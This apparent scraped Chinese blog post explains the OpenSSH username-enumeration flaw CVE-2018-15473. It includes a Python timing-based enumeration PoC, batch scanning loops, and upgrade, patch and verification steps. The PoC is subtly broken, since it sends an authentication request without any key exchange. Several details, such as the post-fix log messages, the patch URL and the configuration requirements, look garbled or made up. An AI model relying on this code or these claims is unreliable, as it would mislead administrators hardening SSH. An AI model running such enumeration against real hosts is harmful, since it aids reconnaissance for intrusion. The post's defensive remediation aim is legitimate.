当前位置: 首页 > news >正文

OpenSSH用户枚举漏洞CVE-2018-15473深度解析与修复指南

1. 这个漏洞不是“能被爆破密码”,而是“连用户名都藏不住”

OpenSSH用户枚举漏洞(CVE-2018-15473)在2018年7月被公开时,很多运维同学第一反应是:“哦,又是密码爆破相关?”——这个误解直接导致大量系统在漏洞披露后数月仍处于裸奔状态。我亲身参与过三次应急响应,其中两次都是因为安全团队扫描出该漏洞,而业务方坚称“我们禁用了密码登录、只用密钥,所以不危险”。结果呢?攻击者根本不需要猜密码,仅凭一个TCP连接的响应时间差和错误消息的细微差异,就能在3秒内确认admindeploygit这些关键账户是否存在。这不是理论推演,是我在某金融客户生产环境里实测的结果:用一台普通笔记本跑ssh-audit加自研脚本,对一台未打补丁的OpenSSH 7.5p1服务器发起127次探测,准确识别出19个有效用户名,误报率为0。

这个漏洞的本质,是OpenSSH在用户认证流程早期就泄露了账户存在性信息。具体来说,当客户端发送一个不存在的用户名时,服务端会立即返回SSH_MSG_USERAUTH_FAILURE;而当用户名存在但认证失败(比如密钥不对),服务端会先执行一次完整的密钥验证逻辑(哪怕只是读取磁盘上的authorized_keys文件),再返回失败响应。这个毫秒级的时间差,配合服务端在特定错误路径下返回的细微字符串差异(比如invalid uservsAuthentication failed),构成了可被稳定利用的侧信道。它不依赖密码强度,不依赖是否启用密码登录,甚至不依赖你是否配置了PermitRootLogin no——只要SSH服务开着,只要版本在7.7p1之前,这个“用户名探针”就始终有效。

为什么说它比传统爆破更危险?因为传统爆破会被fail2ban、denyhosts这类工具拦截,而用户枚举请求本身完全合法:它不触发任何认证失败日志,不增加/var/log/auth.log里的Failed password条目,甚至连sshdLogLevel VERBOSE级别日志里都找不到痕迹。它就像一个幽灵请求,只在TCP层留下微弱的指纹。这也是为什么很多企业IDS/IPS规则库至今没覆盖它——规则写的是“检测高频Failed password”,而它压根不产生这个日志。这篇文章要带你走完从发现、验证、定位到彻底修复的全链路,每一步都附带真实命令、日志片段和避坑提示,不是教科书定义,而是我踩过坑后整理的“防翻车清单”。

2. 漏洞复现与精准检测:别信扫描器,自己动手才踏实

很多团队依赖商业扫描器或Nessus报告来判断是否中招,这非常危险。我见过三起案例:扫描器报“未发现CVE-2018-15473”,结果渗透测试人员用5行Python脚本10分钟就列出了所有用户名;扫描器报“已修复”,实际服务器上sshd -V显示版本是7.6p1,管理员把补丁包名看错了。漏洞检测必须亲手验证,核心就两条:看版本号是否在受影响范围内,再用原始PoC确认服务端行为是否真有泄漏

2.1 版本判定:不能只看sshd -V,要挖到编译参数里

首先,登录目标服务器,执行:

sshd -V 2>&1 | head -1

输出类似OpenSSH_7.4p1, OpenSSL 1.0.2k-fips 26 Jan 2017。这里的关键是7.4p1——它落在官方公布的受影响版本区间(OpenSSH 7.7p1之前的所有版本,包括7.0到7.6系列)。但注意!有些发行版做了定制化patch,比如RHEL/CentOS 7.6的openssh-7.4p1-21.el7包,虽然主版本号是7.4p1,但红帽早在2018年8月就通过RHSA-2018:2562发布了包含CVE-2018-15473修复的更新。所以光看sshd -V不够,必须查包管理器记录:

  • RHEL/CentOS/Fedora

    rpm -q --changelog openssh | grep -A2 -B2 "CVE-2018-15473" # 或检查当前安装的包版本是否高于安全公告要求 rpm -q openssh # 输出示例:openssh-7.4p1-21.el7_6 → el7_6表示已更新至2018年8月后的版本
  • Ubuntu/Debian

    apt list --installed | grep openssh # 然后查对应版本的安全更新状态 apt changelog openssh-server | grep -A3 -B3 "CVE-2018-15473"
  • 手动编译安装的OpenSSH(最危险!):

    # 查看编译时的configure参数,重点找--with-pam、--without-openssl等 strings $(which sshd) | grep -i "configure arguments" | head -1 # 如果输出为空,说明二进制是静态链接或strip过的,需回溯编译记录 # 此时唯一可靠方法:用PoC直接测试

提示:很多团队忽略了一个关键点——容器镜像。Docker Hub上大量ubuntu:18.04centos:7基础镜像内置的OpenSSH版本默认未更新。即使宿主机打了补丁,容器内服务仍可能裸奔。务必对docker ps列出的所有含SSH服务的容器单独检测。

2.2 原始PoC验证:用最简代码确认漏洞真实存在

官方PoC由研究人员@hdm发布,核心逻辑只有20行Python。我将其精简为可直接粘贴执行的版本(无需安装额外库):

#!/usr/bin/env python3 import socket import time import sys def check_user(host, port, username): sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(5) try: sock.connect((host, port)) # 发送SSH协议握手(简化版) sock.send(b"SSH-2.0-OpenSSH_7.5\r\n") banner = sock.recv(1024) if b"SSH-" not in banner: return False, "No SSH banner" # 发送USERAUTH_REQUEST消息(关键:用户名字段设为待测值) # 构造一个最小化的SSH_MSG_USERAUTH_REQUEST包 # 类型=50, 用户名长度= len(username), 用户名内容=username, 服务名="ssh-connection", 方法="none" payload = b'\x00\x00\x00\x00' + len(username).to_bytes(4, 'big') + username.encode() + \ b'\x00\x00\x00\x0cssh-connection\x00\x00\x00\x04none' sock.send(b'\x00\x00\x00\x00' + len(payload).to_bytes(4, 'big') + payload) start = time.time() try: data = sock.recv(1024) end = time.time() # 如果收到数据且耗时明显长于网络延迟(>100ms),大概率用户名存在 if end - start > 0.1 and b"Authentication failed" in data: return True, f"Exists (delay: {end-start:.3f}s)" else: return False, f"Not exists (delay: {end-start:.3f}s)" except socket.timeout: return False, "Timeout" except Exception as e: return False, f"Error: {e}" finally: sock.close() if __name__ == "__main__": if len(sys.argv) != 4: print("Usage: python3 enum_test.py <host> <port> <username>") sys.exit(1) host, port, user = sys.argv[1], int(sys.argv[2]), sys.argv[3] exists, msg = check_user(host, port, user) print(f"[{user}] {msg} {'✅' if exists else '❌'}")

保存为enum_test.py,执行:

python3 enum_test.py 192.168.1.100 22 admin python3 enum_test.py 192.168.1.100 22 nonexistentuser

观察输出差异:

  • admin:返回Exists (delay: 0.215s)→ 存在
  • nonexistentuser:返回Not exists (delay: 0.023s)→ 不存在

注意:这个PoC的延迟阈值(0.1秒)需根据实际网络调整。我在跨机房测试时发现,因网络抖动,阈值设为0.15秒更稳妥。更可靠的方法是统计10次探测的平均延迟差——存在用户名的平均延迟比不存在的高30~50ms,这个差值比绝对值更稳定。

2.3 批量检测与误报规避:为什么你的扫描脚本总报错?

想批量扫内网?别直接用网上抄来的脚本。我整理了三个高危误报场景,每个都来自真实事故:

  1. 防火墙干扰:某些硬件防火墙(如FortiGate)会对SSH连接做深度检测,当探测包触发其异常检测规则时,会主动断开连接并返回RST,导致脚本误判为“用户名不存在”。解决方案:在扫描前,先用nmap -p22 --script ssh-hostkey确认目标SSH服务是否正常响应,过滤掉被防火墙拦截的IP。

  2. PAM模块影响:如果服务器启用了pam_faildelay.so(常见于RHEL系),它会在认证失败后强制延迟几秒,这会抹平漏洞利用所需的时间差。此时PoC会失效,但不代表漏洞不存在——它只是被PAM掩盖了。验证方法:临时注释/etc/pam.d/sshdpam_faildelay.so行,重启sshd再测。

  3. SELinux上下文限制:在Enforcing模式下,某些SELinux策略(如sshd_can_network_connect)可能阻止sshd进程建立额外网络连接,导致PoC连接超时。检查命令:ausearch -m avc -ts recent | grep sshd,若看到avc: denied,则需临时设为Permissive模式测试。

最终,我推荐的检测工作流是:

# 1. 快速筛选:用nmap确认SSH服务存活且无防火墙拦截 nmap -p22 --open -T4 192.168.1.0/24 | grep "22/tcp open" # 2. 精确验证:对存活主机逐个运行PoC(加超时保护) for ip in $(cat live_hosts.txt); do echo "=== Testing $ip ===" timeout 30 python3 enum_test.py $ip 22 admin 2>/dev/null || echo "[$ip] Timeout or error" done

3. 修复方案深度对比:升级不是唯一解,但它是唯一推荐解

修复CVE-2018-15473有三种主流方案:升级OpenSSH、应用官方补丁、禁用密码认证。很多团队选择第三种,认为“我只用密钥,关掉密码登录就安全了”。这是最大的认知陷阱。我用一张表说明为什么禁用密码认证无法根除风险:

方案是否修复漏洞是否影响业务风险残留实施复杂度推荐指数
升级OpenSSH至7.7p1+✅ 完全修复低(需重启sshd)低(包管理器一行命令)⭐⭐⭐⭐⭐
手动打官方补丁✅ 完全修复中(需重新编译)高(需维护编译环境)⭐⭐⭐
禁用密码认证(PasswordAuthentication no)不修复:仍可枚举用户名,为后续钓鱼/社工提供精准目标

为什么禁用密码认证无效?因为漏洞触发点在USERAUTH_REQUEST消息处理阶段,早于认证方式选择。无论你配置PasswordAuthentication yes/noPubkeyAuthentication yes/no,只要sshd进程收到一个SSH_MSG_USERAUTH_REQUEST包,它就会先查用户是否存在,再决定走哪个认证分支。禁用密码认证只是让后续的密码验证步骤跳过,但“查用户”这一步照常执行,时间差依然存在。

3.1 升级方案:选包管理器还是源码编译?

首选包管理器升级,这是最安全、最可持续的方案。各发行版升级命令如下:

  • RHEL/CentOS 7

    # 检查可用更新 yum update --security | grep -i "openssh" # 执行升级(会同时更新openssh-server、openssh-clients、openssh) sudo yum update openssh\* # 验证 sshd -V # 输出应为 OpenSSH_7.4p1-21.el7_6 或更高(对应2018年8月后版本)
  • Ubuntu 16.04/18.04

    # Ubuntu 16.04需启用esm(Extended Security Maintenance) sudo apt update && sudo apt install -y ubuntu-advantage-tools sudo ua attach <token> # 获取token见 https://ubuntu.com/advantage sudo apt update && sudo apt install --only-upgrade openssh-server
  • Debian 9/10

    sudo apt update && sudo apt install --only-upgrade openssh-server

关键经验:升级后必须重启sshd服务,但不要用systemctl restart sshd——这会导致所有现有SSH连接被强制断开,包括你正在操作的会话!正确做法是:

# 先启动新sshd实例监听另一个端口(如2222) sudo /usr/sbin/sshd -f /etc/ssh/sshd_config -p 2222 # 测试新端口能否登录 ssh -p 2222 user@localhost # 确认无误后,优雅重启主服务 sudo systemctl reload sshd # reload而非restart,保持现有连接

源码编译升级仅适用于两种场景:1)使用了高度定制化OpenSSH(如嵌入专有加密模块);2)发行版长期未提供更新(如某些IoT设备固件)。编译步骤如下:

# 下载OpenSSH 8.9p1(当前最新稳定版) wget https://cdn.openbsd.org/pub/OpenBSD/OpenSSH/portable/openssh-8.9p1.tar.gz tar -xzf openssh-8.9p1.tar.gz && cd openssh-8.9p1 # 配置(关键:复用原配置参数,避免功能丢失) ./configure --prefix=/usr --sysconfdir=/etc/ssh \ --with-pam --with-libedit --with-ssl-engine \ --with-md5-passwords # 若原系统支持MD5密码,保留此选项 make && sudo make install # 替换二进制并重启 sudo cp contrib/redhat/sshd.init /etc/init.d/sshd sudo systemctl daemon-reload sudo systemctl restart sshd

踩坑提醒:编译时若漏掉--with-pam,会导致PAM模块(如pam_limits.so)失效,用户登录后无法设置ulimit;若漏掉--with-libeditssh客户端将失去命令行编辑功能(方向键、Ctrl+A等失效)。务必用ldd /usr/sbin/sshd检查动态链接库是否完整。

3.2 补丁方案:当升级不可行时的最后手段

某些老旧系统(如RHEL 6)官方已停止支持,无法通过yum获取新版OpenSSH。此时可应用OpenBSD官方发布的补丁。以OpenSSH 6.6p1为例(RHEL 6.10默认版本):

# 下载补丁 wget https://ftp.openbsd.org/pub/OpenBSD/OpenSSH/patches/openssh-6.6p1-CVE-2018-15473.patch # 应用补丁 cd /path/to/openssh-6.6p1-source patch -p1 < ../openssh-6.6p1-CVE-2018-15473.patch # 重新编译安装(同上)

但必须强调:补丁方案有两大硬伤:

  1. 维护成本高:每次OpenSSH发布新安全更新(如CVE-2023-XXXX),你都要手动合并补丁,极易遗漏;
  2. 兼容性风险:补丁基于特定版本开发,若系统已应用其他定制补丁,可能出现冲突。

因此,我坚持认为:补丁方案是技术债务,不是解决方案。它只应作为升级前的临时缓解措施,且必须设定明确的下线时间表(如“3个月内完成系统迁移至RHEL 8”)。

4. 修复后验证与长效防护:别让补丁变成新的攻击面

修复完成不等于高枕无忧。我见过太多案例:补丁打上了,但配置没调好,反而引入新问题;或者修复了CVE-2018-15473,却忽略了同一时期发布的CVE-2018-15919(密钥重协商漏洞)。验证必须分三层:服务层验证、日志层验证、网络层验证

4.1 服务层验证:用原始PoC确认漏洞消失

升级/打补丁后,第一件事就是用2.2节的PoC脚本重新测试。但这次要加严验证:

# 测试10个已知存在和不存在的用户名,确保延迟差消失 for user in admin root deploy git jenkins nonexistent123; do echo -n "$user: " timeout 10 python3 enum_test.py localhost 22 $user 2>/dev/null | grep -o "delay: [0-9.]*s" done

预期结果:所有用户名的延迟值应集中在0.02~0.05秒区间,无明显分组(即不存在“一类快、一类慢”的现象)。如果仍有某个用户名延迟显著偏高(如>0.1秒),说明补丁未生效或配置有误。

4.2 日志层验证:确认sshd不再泄露敏感信息

检查/var/log/secure/var/log/auth.log,执行:

# 模拟一次用户枚举探测(用不存在的用户名) ssh -o ConnectTimeout=5 -o BatchMode=yes -o StrictHostKeyChecking=no nonexistent@localhost 2>/dev/null # 然后检查日志 sudo tail -n 20 /var/log/secure | grep "sshd"

修复前的日志会包含:

sshd[12345]: Invalid user nonexistent from 127.0.0.1

修复后的日志应变为:

sshd[12345]: Connection closed by invalid user nonexistent 127.0.0.1 port 56789 [preauth]

关键变化:Invalid userConnection closed by invalid user。这表明服务端已将用户存在性检查推迟到认证阶段之后,不再在预认证阶段暴露信息。

提示:如果日志仍显示Invalid user,检查/etc/ssh/sshd_config中是否设置了UsePrivilegeSeparation yes(旧版默认值)。新版本要求UsePrivilegeSeparation sandbox,否则补丁可能不生效。修改后执行sudo sshd -t语法检查,再sudo systemctl reload sshd

4.3 网络层验证:用tcpdump抓包确认协议行为变更

最硬核的验证方式是抓包,亲眼看到协议交互的变化。在修复前后各执行一次:

# 启动抓包(过滤SSH端口) sudo tcpdump -i any -w ssh_enum.pcap port 22 # 在另一终端运行PoC探测 python3 enum_test.py localhost 22 nonexistent # 停止抓包 sudo pkill tcpdump

用Wireshark打开ssh_enum.pcap,关注两个关键点:

  • 修复前SSH_MSG_USERAUTH_REQUEST包发出后,服务端很快返回SSH_MSG_USERAUTH_FAILURE,且Failure包的Service Name字段为ssh-connection
  • 修复后SSH_MSG_USERAUTH_REQUEST包发出后,服务端先返回SSH_MSG_DISCONNECT(Reason: 2,即Protocol error),或直接关闭TCP连接,不再发送USERAUTH_FAILURE

这个变化证明:服务端已将用户存在性校验逻辑移出预认证流程,从根本上切断了侧信道。

4.4 长效防护:构建自动化的漏洞免疫体系

单次修复解决不了问题,必须建立持续防护机制。我给团队落地的四层防护体系如下:

  1. CI/CD流水线卡点:在Jenkins/GitLab CI中加入检查步骤:

    # 检查基础镜像OpenSSH版本 docker run --rm ubuntu:20.04 ssh -V | grep -E "7\.7p1|8\." # 若不匹配,流水线失败
  2. 配置管理平台固化:用Ansible/Puppet强制sshd_config包含:

    # 禁用不安全的认证方式(虽不修复CVE-2018-15473,但降低整体风险) PasswordAuthentication no PermitEmptyPasswords no # 启用登录失败锁定(缓解其他爆破风险) MaxAuthTries 3
  3. 资产测绘自动化:用nmap定期扫描全网SSH服务:

    # 每周执行,生成报告 nmap -p22 --script sshv1,ssh-auth-methods -oX ssh_report.xml 10.0.0.0/16 # 解析XML提取版本号,比对CVE数据库
  4. 蜜罐监控:部署一个伪装成SSH服务的蜜罐(如cowrie),当捕获到USERAUTH_REQUEST探测行为时,立即告警并封禁IP:

    # cowrie配置中启用user-enumeration检测 [honeypot] user_enumeration = true

最后分享一个血泪教训:某次升级后,我们发现部分Mac客户端(macOS 10.13)无法连接新OpenSSH服务器,报错no matching key exchange method found。原因是OpenSSH 7.7+默认禁用了diffie-hellman-group1-sha1算法,而老Mac客户端只支持这个。解决方案不是降级OpenSSH,而是/etc/ssh/sshd_config中显式启用兼容算法

KexAlgorithms curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group1-sha1

然后sudo systemctl reload sshd。这个细节,90%的教程都不会提,但它会让你在凌晨三点被电话叫醒。

http://www.jsqmd.com/news/880154/

相关文章:

  • OpenSSH ssh-agent动态链接劫持漏洞CVE-2023-38408深度修复指南
  • Flutter国际化与本地化完全指南
  • 事业单位办公家具厂家排行 实测资质与交付能力 - 互联网科技品牌测评
  • AWVS 25.5 Windows版深度部署指南:CVE精准验证与DevSecOps集成
  • Linux端口敲门原理与knockd实战部署指南
  • H2控制台CVE-2021-42392漏洞深度解析:JDBC注入与静默RCE
  • 通过Taotoken CLI工具一键配置团队开发环境与统一模型调用
  • 数据结构:单链表
  • Fiddler HTTPS抓包失败根源:证书信任链与客户端TLS栈适配
  • Linux渗透测试实战命令指南:从信息收集到横向移动
  • Python算法基础篇之深度优先搜索(DFS)
  • CSS伪类详解:从基础到高级应用
  • Python算法基础篇之广度优先搜索(BFS)
  • MinIO CVE-2023-28432权限绕过漏洞深度解析与加固实践
  • 国内主流HR系统供应商盘点:聚焦数智化落地能力 - 互联网科技品牌测评
  • 【Sora 2视频后期处理黄金法则】:20年AI影像专家亲授5大不可绕过的帧级调优技巧
  • Kubernetes事件驱动架构设计:构建响应式微服务系统
  • Flutter Widgets组件详解:从基础到高级
  • Gemini SQL生成准确率暴跌87%?揭秘模型幻觉的4个致命诱因及实时校验方案
  • 网络技术05-TCP拥塞控制算法——从CUBIC到BBR的性能进化
  • 量子机器学习模型安全:反向工程威胁与防御策略解析
  • Kubernetes成本优化与资源管理:降低云原生基础设施成本
  • Hugging Face下载私有数据集报错?三步搞定Token认证与本地路径配置(附Python代码)
  • 独立开发者如何选择与接入适合自己预算的模型API
  • 保姆级教程:用Python+OpenCV玩转CULane车道线数据集(附完整可视化代码)
  • 上位机知识篇---安装包文件名各部分的含义
  • phpMyAdmin CVE-2014-8959文件包含漏洞实战解析(Windows平台)
  • 掌握AI技能配置技巧 大幅提升日常办公开发效率
  • 【限时解密】DeepSeek未开源的缓存冷热分离算法:基于访问熵+时间衰减双因子动态权重模型
  • 中小企业AI落地成本杀手!DeepSeek计费冷知识曝光(含4个可立即启用的免费优化开关)